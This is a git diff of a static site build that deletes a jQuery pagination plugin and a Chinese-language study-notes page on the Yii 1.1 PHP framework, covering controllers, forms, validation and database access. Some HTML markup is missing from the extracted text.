b=k.pageSize,c=k.dataSource,d=k.totalNumber,e=b*(a-1)+1,f=Math.min(a*b,d);return c.slice(e-1,f)},getTotalPage:function(){return Math.ceil(k.totalNumber/k.pageSize)},getLocator:function(a){var d;return"string"==typeof a?d=a:b.isFunction(a)?d=a():c('"locator" is incorrect. (String | Function)'),d},filterDataByLocator:function(a){var d,e=this.getLocator(k.locator);if(i.isObject(a)){try{b.each(e.split("."),function(b,c){d=(d?d:a)[c]})}catch(f){}d?i.isArray(d)||c("dataSource."+e+" must be an Array."):c("dataSource."+e+" is undefined.")}return d||a},parseDataSource:function(a,d){var e=this,f=arguments;i.isObject(a)?d(k.dataSource=e.filterDataByLocator(a)):i.isArray(a)?d(k.dataSource=a):b.isFunction(a)?k.dataSource(function(a){b.isFunction(a)&&c('Unexpect parameter of the "done" Function.'),f.callee.call(e,a,d)}):"string"==typeof a?(/^https?|file:/.test(a)&&(k.ajaxDataType="jsonp"),d(a)):c('Unexpect data type of the "dataSource".')},callHook:function(c){var d,e=f.data("pagination"),g=Array.prototype.slice.apply(arguments);return g.shift(),k[c]&&b.isFunction(k[c])&&k[c].apply(a,g)===!1&&(d=!1),e.hooks&&e.hooks[c]&&b.each(e.hooks[c],function(b,c){c.apply(a,g)===!1&&(d=!1)}),d!==!1},observer:function(){var a=this,d=a.model.el;f.on(h+"go",function(d,e,f){e=parseInt(b.trim(e)),e&&(b.isNumeric(e)||c('"pageNumber" is incorrect. (Number)'),a.go(e,f))}),d.delegate(".J-paginationjs-page","click",function(c){var d=b(c.currentTarget),e=b.trim(d.attr("data-num"));return!e||d.hasClass(k.disableClassName)||d.hasClass(k.activeClassName)?void 0:a.callHook("beforePageOnClick",c)===!1?!1:(a.go(e),a.callHook("afterPageOnClick",c),k.pageLink?void 0:!1)}),d.delegate(".J-paginationjs-previous","click",function(c){var d=b(c.currentTarget),e=b.trim(d.attr("data-num"));return e&&!d.hasClass(k.disableClassName)?a.callHook("beforePreviousOnClick",c)===!1?!1:(a.go(e),a.callHook("afterPreviousOnClick",c),k.pageLink?void 0:!1):void 0}),d.delegate(".J-paginationjs-next","click",function(c){var d=b(c.currentTarget),e=b.trim(d.attr("data-num"));return e&&!d.hasClass(k.disableClassName)?a.callHook("beforeNextOnClick",c)===!1?!1:(a.go(e),a.callHook("afterNextOnClick",c),k.pageLink?void 0:!1):void 0}),d.delegate(".J-paginationjs-go-button","click",function(){var c=b(".J-paginationjs-go-pagenumber",d).val();return a.callHook("beforeGoButtonOnClick",event,c)===!1?!1:(f.trigger(h+"go",c),void a.callHook("afterGoButtonOnClick",event,c))}),d.delegate(".J-paginationjs-go-pagenumber","keyup",function(c){if(13===c.which){var e=b(c.currentTarget).val();if(a.callHook("beforeGoInputOnEnter",c,e)===!1)return!1;f.trigger(h+"go",e),b(".J-paginationjs-go-pagenumber",d).focus(),a.callHook("afterGoInputOnEnter",c,e)}}),f.on(h+"previous",function(b,c){a.previous(c)}),f.on(h+"next",function(b,c){a.next(c)}),f.on(h+"disable",function(){a.disable()}),f.on(h+"enable",function(){a.enable()}),f.on(h+"show",function(){a.show()}),f.on(h+"hide",function(){a.hide()}),f.on(h+"destroy",function(){a.destroy()}),(g.sync||k.triggerPagingOnInit)&&f.trigger(h+"go",Math.min(k.pageNumber,a.model.totalPage))}};if(f.data("pagination")&&f.data("pagination").initialized===!0){if(b.isNumeric(e))return f.trigger.call(this,h+"go",e,arguments[1]),this;if("string"==typeof e){var j=Array.prototype.slice.apply(arguments);switch(j[0]=h+j[0],e){case"previous":case"next":case"go":case"disable":case"enable":case"show":case"hide":case"destroy":f.trigger.apply(this,j);break;case"getSelectedPageNum":return f.data("pagination").model?f.data("pagination").model.pageNumber:f.data("pagination").attributes.pageNumber;case"getTotalPage":return f.data("pagination").model.totalPage;case"getSelectedPageData":return f.data("pagination").currentPageData;case"isDisabled":return f.data("pagination").model.disabled===!0;default:c("Pagination do not provide action: "+e)}return this}}else i.isObject(e)||c("options is illegal");var k=b.extend({},arguments.callee.defaults,e);return d(k),g.initialize(),this},b.fn[f].defaults={totalNumber:1,pageNumber:1,pageSize:10,pageRange:2,showPrevious:!0,showNext:!0,showPageNumbers:!0,showNavigator:!1,showGoInput:!1,showGoButton:!1,pageLink:"",prevText:"«",nextText:"»",ellipsisText:"...",goButtonText:"Go",classPrefix:"paginationjs",activeClassName:"active",disableClassName:"disabled",inlineStyle:!0,formatNavigator:"<%= currentPage %> / <%= totalPage %>",formatGoInput:"<%= input %>",formatGoButton:"<%= button %>",position:"bottom",autoHidePrevious:!1,autoHideNext:!1,triggerPagingOnInit:!0,hideWhenLessThanOnePage:!1,showFirstOnEllipsisShow:!0,showLastOnEllipsisShow:!0,callback:function(){}},b.fn[g]=function(a,d){arguments.length<2&&c("Missing argument."),b.isFunction(d)||c("callback must be a function.");var e=b(this),f=e.data("pagination");f||(e.data("pagination",{}),f=e.data("pagination")),!f.hooks&&(f.hooks={}),f.hooks[a]=f.hooks[a]||[],f.hooks[a].push(d)},b[f]=function(a,d){arguments.length<2&&c("Requires two parameters.");var e;return e="string"!=typeof a&&a instanceof jQuery?a:b(a),e.length?(e.pagination(d),e):void 0};var i={};b.each(["Object","Array"],function(a,b){i["is"+b]=function(a){return e(a)===b.toLowerCase()}}),"function"==typeof define&&(define.amd||define.cmd)&&define(function(){return b})}(this,window.jQuery);
\ No newline at end of file
diff --git a/_site/javascripts/simplePagination.js b/_site/javascripts/simplePagination.js
deleted file mode 100755
index 9d660bd..0000000
--- a/_site/javascripts/simplePagination.js
+++ /dev/null
@@ -1,345 +0,0 @@
-/**
-* simplePagination.js v1.6
-* A simple jQuery pagination plugin.
-* http://flaviusmatis.github.com/simplePagination.js/
-*
-* Copyright 2012, Flavius Matis
-* Released under the MIT license.
-* http://flaviusmatis.github.com/license.html
-*/
-
-(function($){
-
- var methods = {
- init: function(options) {
- var o = $.extend({
- items: 1,
- itemsOnPage: 1,
- pages: 0,
- displayedPages: 5,
- edges: 2,
- currentPage: 0,
- hrefTextPrefix: '#page-',
- hrefTextSuffix: '',
- prevText: 'Prev',
- nextText: 'Next',
- ellipseText: '…',
- cssStyle: 'light-theme',
- listStyle: '',
- labelMap: [],
- selectOnClick: true,
- nextAtFront: false,
- invertPageOrder: false,
- useStartEdge : true,
- useEndEdge : true,
- onPageClick: function(pageNumber, event) {
- // Callback triggered when a page is clicked
- // Page number is given as an optional parameter
- },
- onInit: function() {
- // Callback triggered immediately after initialization
- }
- }, options || {});
-
- var self = this;
-
- o.pages = o.pages ? o.pages : Math.ceil(o.items / o.itemsOnPage) ? Math.ceil(o.items / o.itemsOnPage) : 1;
- if (o.currentPage)
- o.currentPage = o.currentPage - 1;
- else
- o.currentPage = !o.invertPageOrder ? 0 : o.pages - 1;
- o.halfDisplayed = o.displayedPages / 2;
-
- this.each(function() {
- self.addClass(o.cssStyle + ' simple-pagination').data('pagination', o);
- methods._draw.call(self);
- });
-
- o.onInit();
-
- return this;
- },
-
- selectPage: function(page) {
- methods._selectPage.call(this, page - 1);
- return this;
- },
-
- prevPage: function() {
- var o = this.data('pagination');
- if (!o.invertPageOrder) {
- if (o.currentPage > 0) {
- methods._selectPage.call(this, o.currentPage - 1);
- }
- } else {
- if (o.currentPage < o.pages - 1) {
- methods._selectPage.call(this, o.currentPage + 1);
- }
- }
- return this;
- },
-
- nextPage: function() {
- var o = this.data('pagination');
- if (!o.invertPageOrder) {
- if (o.currentPage < o.pages - 1) {
- methods._selectPage.call(this, o.currentPage + 1);
- }
- } else {
- if (o.currentPage > 0) {
- methods._selectPage.call(this, o.currentPage - 1);
- }
- }
- return this;
- },
-
- getPagesCount: function() {
- return this.data('pagination').pages;
- },
-
- setPagesCount: function(count) {
- this.data('pagination').pages = count;
- },
-
- getCurrentPage: function () {
- return this.data('pagination').currentPage + 1;
- },
-
- destroy: function(){
- this.empty();
- return this;
- },
-
- drawPage: function (page) {
- var o = this.data('pagination');
- o.currentPage = page - 1;
- this.data('pagination', o);
- methods._draw.call(this);
- return this;
- },
-
- redraw: function(){
- methods._draw.call(this);
- return this;
- },
-
- disable: function(){
- var o = this.data('pagination');
- o.disabled = true;
- this.data('pagination', o);
- methods._draw.call(this);
- return this;
- },
-
- enable: function(){
- var o = this.data('pagination');
- o.disabled = false;
- this.data('pagination', o);
- methods._draw.call(this);
- return this;
- },
-
- updateItems: function (newItems) {
- var o = this.data('pagination');
- o.items = newItems;
- o.pages = methods._getPages(o);
- this.data('pagination', o);
- methods._draw.call(this);
- },
-
- updateItemsOnPage: function (itemsOnPage) {
- var o = this.data('pagination');
- o.itemsOnPage = itemsOnPage;
- o.pages = methods._getPages(o);
- this.data('pagination', o);
- methods._selectPage.call(this, 0);
- return this;
- },
-
- getItemsOnPage: function() {
- return this.data('pagination').itemsOnPage;
- },
-
- _draw: function() {
- var o = this.data('pagination'),
- interval = methods._getInterval(o),
- i,
- tagName;
-
- methods.destroy.call(this);
-
- tagName = (typeof this.prop === 'function') ? this.prop('tagName') : this.attr('tagName');
-
- var $panel = tagName === 'UL' ? this : $('
').appendTo(this);
-
- // Generate Prev link
- if (o.prevText) {
- methods._appendItem.call(this, !o.invertPageOrder ? o.currentPage - 1 : o.currentPage + 1, {text: o.prevText, classes: 'prev'});
- }
-
- // Generate Next link (if option set for at front)
- if (o.nextText && o.nextAtFront) {
- methods._appendItem.call(this, !o.invertPageOrder ? o.currentPage + 1 : o.currentPage - 1, {text: o.nextText, classes: 'next'});
- }
-
- // Generate start edges
- if (!o.invertPageOrder) {
- if (interval.start > 0 && o.edges > 0) {
- if(o.useStartEdge) {
- var end = Math.min(o.edges, interval.start);
- for (i = 0; i < end; i++) {
- methods._appendItem.call(this, i);
- }
- }
- if (o.edges < interval.start && (interval.start - o.edges != 1)) {
- $panel.append('
' + o.ellipseText + ' ');
- } else if (interval.start - o.edges == 1) {
- methods._appendItem.call(this, o.edges);
- }
- }
- } else {
- if (interval.end < o.pages && o.edges > 0) {
- if(o.useStartEdge) {
- var begin = Math.max(o.pages - o.edges, interval.end);
- for (i = o.pages - 1; i >= begin; i--) {
- methods._appendItem.call(this, i);
- }
- }
-
- if (o.pages - o.edges > interval.end && (o.pages - o.edges - interval.end != 1)) {
- $panel.append('
' + o.ellipseText + ' ');
- } else if (o.pages - o.edges - interval.end == 1) {
- methods._appendItem.call(this, interval.end);
- }
- }
- }
-
- // Generate interval links
- if (!o.invertPageOrder) {
- for (i = interval.start; i < interval.end; i++) {
- methods._appendItem.call(this, i);
- }
- } else {
- for (i = interval.end - 1; i >= interval.start; i--) {
- methods._appendItem.call(this, i);
- }
- }
-
- // Generate end edges
- if (!o.invertPageOrder) {
- if (interval.end < o.pages && o.edges > 0) {
- if (o.pages - o.edges > interval.end && (o.pages - o.edges - interval.end != 1)) {
- $panel.append('
' + o.ellipseText + ' ');
- } else if (o.pages - o.edges - interval.end == 1) {
- methods._appendItem.call(this, interval.end);
- }
- if(o.useEndEdge) {
- var begin = Math.max(o.pages - o.edges, interval.end);
- for (i = begin; i < o.pages; i++) {
- methods._appendItem.call(this, i);
- }
- }
- }
- } else {
- if (interval.start > 0 && o.edges > 0) {
- if (o.edges < interval.start && (interval.start - o.edges != 1)) {
- $panel.append('
' + o.ellipseText + ' ');
- } else if (interval.start - o.edges == 1) {
- methods._appendItem.call(this, o.edges);
- }
-
- if(o.useEndEdge) {
- var end = Math.min(o.edges, interval.start);
- for (i = end - 1; i >= 0; i--) {
- methods._appendItem.call(this, i);
- }
- }
- }
- }
-
- // Generate Next link (unless option is set for at front)
- if (o.nextText && !o.nextAtFront) {
- methods._appendItem.call(this, !o.invertPageOrder ? o.currentPage + 1 : o.currentPage - 1, {text: o.nextText, classes: 'next'});
- }
- },
-
- _getPages: function(o) {
- var pages = Math.ceil(o.items / o.itemsOnPage);
- return pages || 1;
- },
-
- _getInterval: function(o) {
- return {
- start: Math.ceil(o.currentPage > o.halfDisplayed ? Math.max(Math.min(o.currentPage - o.halfDisplayed, (o.pages - o.displayedPages)), 0) : 0),
- end: Math.ceil(o.currentPage > o.halfDisplayed ? Math.min(o.currentPage + o.halfDisplayed, o.pages) : Math.min(o.displayedPages, o.pages))
- };
- },
-
- _appendItem: function(pageIndex, opts) {
- var self = this, options, $link, o = self.data('pagination'), $linkWrapper = $('
'), $ul = self.find('ul');
-
- pageIndex = pageIndex < 0 ? 0 : (pageIndex < o.pages ? pageIndex : o.pages - 1);
-
- options = {
- text: pageIndex + 1,
- classes: ''
- };
-
- if (o.labelMap.length && o.labelMap[pageIndex]) {
- options.text = o.labelMap[pageIndex];
- }
-
- options = $.extend(options, opts || {});
-
- if (pageIndex == o.currentPage || o.disabled) {
- if (o.disabled || options.classes === 'prev' || options.classes === 'next') {
- $linkWrapper.addClass('disabled');
- } else {
- $linkWrapper.addClass('active');
- }
- $link = $('
' + (options.text) + ' ');
- } else {
- $link = $('
' + (options.text) + ' ');
- $link.click(function(event){
- return methods._selectPage.call(self, pageIndex, event);
- });
- }
-
- if (options.classes) {
- $link.addClass(options.classes);
- }
-
- $linkWrapper.append($link);
-
- if ($ul.length) {
- $ul.append($linkWrapper);
- } else {
- self.append($linkWrapper);
- }
- },
-
- _selectPage: function(pageIndex, event) {
- var o = this.data('pagination');
- o.currentPage = pageIndex;
- if (o.selectOnClick) {
- methods._draw.call(this);
- }
- return o.onPageClick(pageIndex + 1, event);
- }
-
- };
-
- $.fn.pagination = function(method) {
-
- // Method calling logic
- if (methods[method] && method.charAt(0) != '_') {
- return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
- } else if (typeof method === 'object' || !method) {
- return methods.init.apply(this, arguments);
- } else {
- $.error('Method ' + method + ' does not exist on jQuery.pagination');
- }
-
- };
-
-})(jQuery);
\ No newline at end of file
diff --git a/_site/notes/learning-note-YII(1.1).html b/_site/notes/learning-note-YII(1.1).html
deleted file mode 100644
index 49d34d6..0000000
--- a/_site/notes/learning-note-YII(1.1).html
+++ /dev/null
@@ -1,1972 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
YII(版本1) 权威指南学习笔记(未完结)
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
入口脚本
-
- WEB 应用一般为 index.php
, 控制台应用一般为 yii.php
并在文件开头加上 #! /usr/bin/env php
-
-
入口脚本是定义全局常量的好地方
-
-
支持三个常量: YII_DEBUG
, YII_ENV
, YII_ENABLE_ERROR_HANDLER
-
-
WEB:
-
<?php
-// 定义全局常量
-defined ( 'YII_DEBUG' ) or define ( 'YII_DEBUG' , true );
-defined ( 'YII_ENV' ) or define ( 'YII_ENV' , 'dev' );
-
-// 注册 Composer 自动加载器
-require ( __DIR__ . '/../vendor/autoload.php' );
-
-// 包含 Yii 类文件
-require ( __DIR__ . '/../vendor/yiisoft/yii2/Yii.php' );
-
-// 加载应用配置
-$config = require ( __DIR__ . '/../config/web.php' );
-
-// 创建、配置、运行一个应用
-( new yii\web\Application ( $config )) -> run ();
-
-
控制台:
-
#!/usr/bin/env php
-<?php
-defined ( 'YII_DEBUG' ) or define ( 'YII_DEBUG' , true );
-
-// fcgi 默认没有定义 STDIN 和 STDOUT
-defined ( 'STDIN' ) or define ( 'STDIN' , fopen ( 'php://stdin' , 'r' ));
-defined ( 'STDOUT' ) or define ( 'STDOUT' , fopen ( 'php://stdout' , 'w' ));
-
-// 注册 Composer 自动加载器
-require ( __DIR__ . '/vendor/autoload.php' );
-
-// 包含 Yii 类文件
-require ( __DIR__ . '/vendor/yiisoft/yii2/Yii.php' );
-
-// 加载应用配置
-$config = require ( __DIR__ . '/config/console.php' );
-
-$application = new yii\console\Application ( $config );
-$exitCode = $application -> run ();
-exit ( $exitCode );
-?>
-
-
控制器
-
-
控制器路由格式: moduleID/controllerID/actionID
-
-
控制器创建决策步骤:
-
-
-如果指定了 CWebApplication::catchAllRequest
, 用户指定的 ID 将被忽略. (通常用于设置应用为维护状态, 显示一个静态页面)
-如果在 CWebApplication::controllerMap
中找到 ID, 相应的控制器配置则被用于创建控制器
-如果 ID 为 path/to/xyz
形式, 则按控制器路由格式解析并创建
-
-
-
创建:
-
-
-默认控制器在 CWebApplication::defaultController
中定义, 默认动作为 index
, 对应的方法名为 actionIndex
, 可通过 CController::defaultAction
修改
-<?php
-class SiteController extends CController {
-}
-?>
-
-也可以由一个动作类来定义动作, 以便重用动作:
-<?php
-class UpdateAction extends CAction {
- public function run () {
- // place the action logic here
- }
-}
-?>
-
-然后需覆盖控制器类的 actions
方法:
-<?php
-class PostController extends CController {
- public function actions () {
- return array (
- 'edit' => 'application.controllers.post.UpdateAction' ,
- );
- }
-}
-?>
-
-
-
-
动作参数绑定:
-
<?php
-// in PostController:
-public function actionCreate ( array $category , $language = 'en' ) {
- // 动作参数绑定功能将会把传入 action 的参数和 $_GET 中的数据绑定
- // 在此, 如果 $_GET 中没有 language 这一项, $language 默认为 'en'
- // 因为没有为 $category 提供默认值, 如果 $_GET 中没有 category 这一项则会报错
- // array 类型声明会确保 $category 为一个数组(自动将基本类型转换为数组)
-}
-?>
-
-
过滤器可被配置在动作执行之前或之后执行, 如访问控制过滤器, 性能过滤器(参见访问控制过滤器 )
-
-
-
-
表单模型和Active Record
-
-<?php
-$this -> render ( 'edit' , array (
- 'var1' => $value1 ,
- 'var2' => $value2 ,
-));
-?>
-
-
protected/views/layouts/main.php
是默认的布局
文件, 可通过 CWebApplication::layout
自定义. 要渲染一个不带布局的视图, 需调用 CController::renderPartial
-
-
小物件
是 CWidget
或其子类的实例, 它也可以有自己的视图文件
-
-
-定义
-<?php
-class MyWidget extends CWidget {
- public function init () {
- // 此方法会被 CController::beginWidget() 调用
- }
-
- public function run () {
- // 此方法会被 CController::endWidget() 调用
- }
-}
-?>
-
-按如下视图脚本来使用一个小物件:
-<?php $this -> beginWidget ( 'path.to.WidgetClass' , $config ); ?>
-...可能会由小物件获取的内容主体...
-<?php $this -> endWidget (); ?>
-// 或
-<?php $this -> widget ( 'path.to.WidgetClass' , $config ); ?>
-
-
-
-
系统视图用于展示 Yii 的错误和日志消息, 如如果 CHttpException 抛出一个 404 错误, 那么 error404
就会被展示. Yii 在 framework/views
下提供了默认的系统视图, 也可以通过在 protected/views/system
下创建同名视图文件进行自定义
-
-
-
定义事件回调
-<?php
-function callbackName ( $event ) {
- ......
-}
-?>
-
-
绑定事件回调
-<?php
-$component -> onClicked = $callback ;
-// 或使用匿名函数
-$component -> onclicked = function ( $event ) {
-}
-?>
-
-
-
-
组件行为
-
-
-行为类必须实现 IBehavior
-大多数行为可继承自 CBehavior
, 如果行为需要绑定到模型, 则也可以继承自 CModelBehavior
或 CActiveRecordBehavior
-两个同名行为绑定到同一个组件下是有可能的, 在这种情况下, 先绑定的行为则拥有优先权
-当和 events, 一起使用时, 行为会更加强大. 当行为被绑定到组件时,行为里的一些方法就可以绑定到组件的一些事件上了. 这样一来,行为就有机观察或者改变组件的常规执行流程
-一个行为的属性也可以通过绑定到的组件来访问. 这些属性包含公共成员变量以及通过 getters 和/或 setters 方式设置的属性. 例如, 若一个行为有一个 xyz
的属性,此行为被绑定到组件 $a
, 然后我们可以使用表达式 $a->xyz
访问此行为的属性
-绑定行为:
-<?php
-// $name 在组件中实现了对行为的唯一识别
-$component -> attachBehavior ( $name , $behavior );
-// test() 是行为中的方法。
-$component -> test ();
-?>
-
-访问行为:
-<?php
-$behavior = $component -> tree ;
-// 等于下行代码:
-// $behavior=$component->asa('tree');
-?>
-
-禁用行为:
-<?php
-$component -> disableBehavior ( $name );
-// 下面的代码将抛出一个异常
-$component -> test ();
-$component -> enableBehavior ( $name );
-// 现在就可以使用了
-$component -> test ();
-?>
-
-
-
-
forum/
- ForumModule.php 模块类文件
- components/ 包含可复用的用户组件
- views/ 包含小物件的视图文件
- controllers/ 包含控制器类文件
- DefaultController.php 默认的控制器类文件
- extensions/ 包含第三方扩展
- models/ 包含模块类文件
- views/ 包含控制器视图和布局文件
- layouts/ 包含布局文件
- default/ 包含 DefaultController 的视图文件
- index.php 首页视图文件
-
-
模块可以嵌套
-
-
使用模块:
-
-
-继承 CWebModule, 并命名为 ucfirst($id).'Module'
-将模块目录放入 modules
目录中, 然后在应用的 modules
配置 属性中声明模块 ID. 模块也可以在配置是带有初始属性值
-使用 CController::module 访问
-
-
-
<?php
-Yii :: $classMap = array (
- 'ClassName1' => 'path/to/ClassName1.php' ,
- 'ClassName2' => 'path/to/ClassName2.php' ,
- ......
-);
-?>
-
-导入目录: Yii::import('system.web.*');
-
-使用表单
-
-<?php
-class LoginForm extends CFormModel {
- // 定义特性(我们把用于存储用户输入或数据库数据的属性成为特性(attribute))
- public $username ;
- public $password ;
- public $rememberMe = false ;
-
- private $_identity ;
-
- // 验证规则
- public function rules () {
- /**
- * 每个验证规则的格式为:
- * array('AttributeList', 'Validator', 'on'=>'ScenarioList', ...附加选项)
- * 有三种方法指定 Validator
- * 1. 指定为模型类中的一个方法, 该方法定义格式为
- * public function ValidatiorName($attributes, $params) {...}
- * 2. 一个继承自 CValidator 的验证器类, 此时附加选项用于初始化实例的属性值
- * 3. 一个预定义的验证器类的别名, 以下是完整列表
- * boolean, captcha, compare, email, default, exists, file
- * filter, in, length, match, numerical, required, type, unique, url
- */
- return array (
- array ( 'username, password' , 'required' ), // 必填
- array ( 'rememberMe' , 'boolean' ), // 布尔
- array ( 'password' , 'authenticate' ), // 需验证
- );
- }
-
- /**
- * authenticate Validator
- */
- public function authenticate ( $attribute , $params )
- {
- $this -> _identity = new UserIdentity ( $this -> username , $this -> password );
- if ( ! $this -> _identity -> authenticate ())
- $this -> addError ( 'password' , '错误的用户名或密码。' );
- }
-}
-?>
-
-块赋值(massive assignment)
-<?php
-$model = new LoginForm ();
-if ( isset ( $_POST [ 'LoginForm' ])) {
- /**
- * 只有被认为 '安全' 的特性才会被赋值
- * 特性如果出现在相应场景的一个验证规则中, 即被认为是安全的
- * 也可以用特殊的 `safe` Validator 来让特性变为安全的
- *
- * 为了使块赋值正确工作, 对应于模型类 `C` 中的特性 `a` 的表单域, 请命名其为 `C[a]`
- */
- $model -> attributes = $_POST [ 'LoginForm' ];
-}
-?>
-
-触发验证
-
-
-验证是基于 场景(scenario)
的
-可以手动调用 CModel::validate()
触发; 对于 CActiveRecord
, 会在 CAcitveRecord::save()
时自动触发验证
-验证错误可以使用 CModel::getError()
或 CModel::getErrors()
获取
-
-
-标签
-
-
-CModel
默认将返回特性的名字作为其标签
-也可使用 CModel::attributesLabels
方法自定义标签
-
-
-<?php
-public function actionLogin () {
- $model = new LoginForm ;
- if ( isset ( $_POST [ 'LoginForm' ])) {
- // 收集用户输入的数据
- $model -> attributes = $_POST [ 'LoginForm' ];
- // 验证用户输入,并在判断输入正确后重定向到前一页
- if ( $model -> validate ())
- $this -> redirect ( Yii :: app () -> user -> returnUrl );
- }
- // 显示登录表单
- $this -> render ( 'login' , array ( 'model' => $model ));
-}
-?>
-
-<div class="form">
-<?php $form = $this -> beginWidget ( 'CActiveForm' ); ?>
-
- <?php echo $form -> errorSummary ( $model ); ?>
-
- <div class="row">
- <?php echo $form -> label ( $model , 'username' ); ?>
- <?php echo $form -> textField ( $model , 'username' ) ?>
- </div>
-
- <div class="row">
- <?php echo $form -> label ( $model , 'password' ); ?>
- <?php echo $form -> passwordField ( $model , 'password' ) ?>
- </div>
-
- <div class="row rememberMe">
- <?php echo $form -> checkBox ( $model , 'rememberMe' ); ?>
- <?php echo $form -> label ( $model , 'rememberMe' ); ?>
- </div>
-
- <div class="row submit">
- <?php echo CHtml :: submitButton ( 'Login' ); ?>
- </div>
-
-<?php $this -> endWidget (); ?>
-</div><!-- form -->
-
-<?php
-public function actionBatchUpdate ()
-{
- // 假设每一项(item)是一个 'Item' 类的实例,
- // 提取要通过批量模式更新的项
- $items = $this -> getItemsToUpdate ();
- if ( isset ( $_POST [ 'Item' ]))
- {
- $valid = true ;
- foreach ( $items as $i => $item )
- {
- if ( isset ( $_POST [ 'Item' ][ $i ]))
- $item -> attributes = $_POST [ 'Item' ][ $i ];
- $valid = $valid && $item -> validate ();
- }
- if ( $valid ) // 如果所有项目有效
- // ...则在此处做一些操作
- }
- // 显示视图收集表格输入
- $this -> render ( 'batchUpdate' , array ( 'items' => $items ));
-}
-?>
-
-view:
-<div class="form">
-<?php echo CHtml :: beginForm (); ?>
-<table>
-<tr><th>Name</th><th>Price</th><th>Count</th><th>Description</th></tr>
-<?php foreach ( $items as $i => $item ) : ?>
-<tr>
-<td> <?php echo CHtml :: activeTextField ( $item , "[ $i ]name" ); ?> </td>
-<td> <?php echo CHtml :: activeTextField ( $item , "[ $i ]price" ); ?> </td>
-<td> <?php echo CHtml :: activeTextField ( $item , "[ $i ]count" ); ?> </td>
-<td> <?php echo CHtml :: activeTextArea ( $item , "[ $i ]description" ); ?> </td>
-</tr>
-<?php endforeach ; ?>
-</table>
-
-<?php echo CHtml :: submitButton ( 'Save' ); ?>
-<?php echo CHtml :: endForm (); ?>
-</div>
-
-使用表单生成器 @todo
-
-action:
-<?php
-public function actionLogin () {
- $model = new LoginForm ;
- $form = new CForm ( 'application.views.site.loginForm' , $model );
- if ( $form -> submitted ( 'login' ) && $form -> validate ()) {
- $this -> redirect ( array ( 'site/index' ));
- } else {
- $this -> render ( 'login' , array ( 'form' => $form ));
- }
-}
-?>
-
-protected/views/site/loginForm.php:
-<?php
-return array (
- 'title' => 'Please provide your login credential' ,
-
- 'elements' => array (
- 'username' => array (
- // 可选 type: text, hidden, password, textarea, file, radio
- // checkbox, listbox, dropdownlist, checkboxlist, radiolist
- 'type' => 'text' ,
- 'maxlength' => 32 ,
- ),
- 'password' => array (
- 'type' => 'password' ,
- 'maxlength' => 32 ,
- ),
- 'rememberMe' => array (
- 'type' => 'checkbox' ,
- )
- ),
-
- 'buttons' => array (
- 'login' => array (
- 'type' => 'submit' ,
- 'label' => 'Login' ,
- ),
- ),
-);
-?>
-
-view:
-<h1>Login</h1>
-
-<div class="form">
-<?php echo $form ; ?>
-</div>
-
-数据访问对象(DAO)
-
- 建立数据库连接:
-
-
-<?php
-$connection = new CDbConnection ( $dsn , $username , $password );
-// 建立连接。你可以使用 try...catch 捕获可能抛出的异常
-$connection -> active = true ;
-......
-$connection -> active = false ; // 关闭连接
-?>
-
-
-作为应用组件配置, 然后使用 Yii::app()->db
访问
-
-<?php
-array (
- ......
- 'components' => array (
- ......
- 'db' => array (
- 'class' => 'CDbConnection' ,
- 'connectionString' => 'mysql:host=localhost;dbname=testdb' ,
- 'username' => 'root' ,
- 'password' => 'password' ,
- 'emulatePrepare' => true , // needed by some MySQL installations
- ),
- ),
-)
-?>
-
-执行 SQL 语句
-
-
-创建 CDbCommand
实例
-<?php
-$connection = Yii :: app () -> db ; // 假设你已经建立了一个 "db" 连接
-// 如果没有,你可能需要显式建立一个连接:
-// $connection=new CDbConnection($dsn,$username,$password);
-$command = $connection -> createCommand ( $sql );
-// 如果需要,此 SQL 语句可通过如下方式修改:
-// $command->text=$newSQL;
-?>
-
-使用以下方法执行语句
-<?php
-$rowCount = $command -> execute (); // 执行无查询 SQL(Insert, delete, update)
-$dataReader = $command -> query (); // 执行一个 SQL 查询(select), 返回 CDbDataReader 实例
-$rows = $command -> queryAll (); // 查询并返回结果中的所有行
-$row = $command -> queryRow (); // 查询并返回结果中的第一行
-$column = $command -> queryColumn (); // 查询并返回结果中的第一列
-$value = $command -> queryScalar (); // 查询并返回结果中第一行的第一个字段
-?>
-
-获取查询结果
-<?php
-$dataReader = $command -> query ();
-// 重复调用 read() 直到它返回 false
-while (( $row = $dataReader -> read ()) !== false ) { ... }
-// 或使用 foreach 遍历数据中的每一行
-foreach ( $dataReader as $row ) { ... }
-// 一次性提取所有行到一个数组
-$rows = $dataReader -> readAll ();
-?>
-
-使用事务
-<?php
-$transaction = $connection -> beginTransaction ();
-try {
- $connection -> createCommand ( $sql1 ) -> execute ();
- $connection -> createCommand ( $sql2 ) -> execute ();
- //.... other SQL executions
- $transaction -> commit ();
-} catch ( Exception $e ) { // 如果有一条查询失败,则会抛出异常
- $transaction -> rollBack ();
-}
-?>
-
-使用 Prepare Statment
-<?php
-// 一条带有两个占位符 ":username" 和 ":email"的 SQL
-$sql = "INSERT INTO tbl_user (username, email) VALUES(:username,:email)" ;
-$command = $connection -> createCommand ( $sql );
-// 用实际的用户名替换占位符 ":username"
-$command -> bindParam ( ":username" , $username , PDO :: PARAM_STR );
-// 用实际的 Email 替换占位符 ":email"
-$command -> bindParam ( ":email" , $email , PDO :: PARAM_STR );
-$command -> execute ();
-// 使用新的参数集插入另一行
-$command -> bindParam ( ":username" , $username2 , PDO :: PARAM_STR );
-$command -> bindParam ( ":email" , $email2 , PDO :: PARAM_STR );
-$command -> execute ();
-?>
-
-绑定结果列
-<?php
-$sql = "SELECT username, email FROM tbl_user" ;
-$dataReader = $connection -> createCommand ( $sql ) -> query ();
-// 使用 $username 变量绑定第一列 (username)
-$dataReader -> bindColumn ( 1 , $username );
-// 使用 $email 变量绑定第二列 (email)
-$dataReader -> bindColumn ( 2 , $email );
-while ( $dataReader -> read () !== false ) {
- // $username 和 $email 含有当前行中的 username 和 email
-}
-?>
-
-使用表前缀
-
-配置 CDbConnection::tablePrefix
属性为所希望的表前缀, 然后便可以在 SQL 语句中使用 `` 代表表的名字
-
-
-<?php
-// 1. 数据查询
-
-// SELECT *
-select ()
-// SELECT `id`, `username`
-select ( 'id, username' )
-// SELECT `tbl_user`.`id`, `username` AS `name`
-select ( 'tbl_user.id, username as name' )
-// SELECT `id`, `username`
-select ( array ( 'id' , 'username' ))
-// SELECT `id`, count(*) as num
-select ( array ( 'id' , 'count(*) as num' ))
-
-// SELECT DISTINCT `id`, `username`
